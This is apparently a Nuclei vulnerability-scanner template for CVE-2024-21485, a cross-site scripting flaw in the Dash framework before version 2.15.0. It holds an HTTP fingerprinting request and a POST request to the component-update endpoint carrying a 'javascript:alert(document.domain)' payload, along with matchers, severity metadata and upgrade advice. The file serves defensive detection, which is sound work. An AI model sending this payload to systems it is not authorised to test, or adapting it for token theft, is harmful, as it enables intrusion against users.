id: CVE-2024-21485 info: name: Dash Framework - Cross-site Scripting author: Lee Changhyun(eeche) severity: medium description: | Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection. reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-21485 impact: | Data theft from users who access the compromised view and Access token stealing allowing attacker to impersonate users remediation: | Upgrade to dash version 2.15.0 or later classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2024-21485 cwe-id: CWE-79 epss-score: 0.01475 epss-percentile: 0.71144 cpe: cpe:2.3:a:plotly:dash:*:*:*:*:*:*:*:* metadata: max-request: 2 tags: cve,cve2024,dash,xss,vuln flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - "dash-core-components" - "_dash-component-suites" condition: or internal: true - raw: - | POST /_dash-update-component HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Accept: application/json {"output":"link-output.children","inputs":[{"id":"link-input","property":"value","value":"javascript:alert(document.domain)"}]} matchers-condition: and matchers: - type: word part: body words: - "props" - "children" - "type" - "javascript:alert(document.domain)" condition: and - type: word part: content_type words: - "application/json" - type: status status: - 200 # digest: 4b0a00483046022100931d4e922fbaa7ae4bd48e87d0a3d695a3e8a28962b7ea5512e92f35864448d9022100c20ac2546a1029048d08a67bc2cdf89e6b265a959e4c75d81094a0bce474cc4c:922c64590222798bb761d5b6d8e72950